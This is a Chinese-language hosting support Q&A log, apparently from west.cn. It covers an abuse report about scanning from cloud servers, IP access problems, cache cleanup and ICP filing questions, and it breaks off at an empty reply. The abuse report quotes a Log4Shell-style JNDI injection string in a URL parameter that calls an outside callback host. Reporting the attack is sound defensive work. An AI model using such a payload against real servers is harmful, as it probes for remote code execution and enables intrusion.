问：贵公司云服务器 127.0.0.1和 127.0.0.1异常扫描攻击我司接口服务器 http://127.0.0.1:8090/terry?filename=$%7Bjndi:ldap://f07c8d4c.dns.1433.eu.org./123%7D,贵公司云服务器异常扫描攻击我司接口服务器
答：您好，已通知用户，自查核实云服务器做什么应用，是什么原因造成的。
建议您可以在服务器上封禁这两个IP地址的连接。
问：建议贵部门协助用户进行排查，我司已对贵公司这2个IP进行封堵，后续将会继续关注是否还存在贵数据中心的异常服务器访问。感谢此次协助配合！
答：您好，该服务器管理员已在核实了，如后续还有异常请再反馈给我司，非常感谢您长期对我司的支持！
问：客户在厦门地 通过IP无法访问服务器127.0.0.1
客户的IP本机IP: 127.0.0.1福建 电信
答：您好，
因备案原因，ip地址不支持直接访问的。测试解析到服务器网站访问正常，若用户无法访问，请参考https://www.west.cn/faq/list.asp?unid=2313 输入域名反馈下详细测试截图,非常感谢您长期对我司的支持!
问：帮找出下 最大的占用文件夹 一般可能是runtime 这个临时文件占用比较大 可能是网站访问量大了 这个可以删除 同时帮我看下是哪个网站的runtime占用大了 我好对网站处理 那边只需要清理下我能进去宝塔就行了
答：您好，当前查看空间未满，BT可以访问 目前占用最大的目录：
问： 这个是你们回复我的
答：您好，请确认下 /home/www/www.qzwbest.com/runtime 该cache目录是否可以清除？
问：可以清
答：您好，正在清理中，当前BT可以登录了,非常感谢您长期对我司的支持!
问：www.crdz.net客户网站转入我司，域名之前已经备案，但不是在我司备案的，现在好像已经取消域名绑定，需要如何操作呢？客户之前有备案号
答：您好，
目前查询域名已没有备案，且域名解析使用的时候我司主机，您可直接在我司备案平台https://beian.west.cn/重新提交备案申请即可,非常感谢您长期对我司的支持!
问：备案号：技有限公司 ,难道备案被注销了吗？我是不是让客户做转入备案即可
答：您好，域名已无备案记录，单位存有空壳主体备案号，如果要备案，请及时将空壳主体注销后再重新备案。
,非常感谢您长期对我司的支持!
问：不对啊，上次客户有做过备案转入到我司，都已经审核通过了的啊，怎么现在是空壳呢？
问：
问：怎么我登录进入到备案里面都是空的了？？？？系统出问题了吗
答：您好，
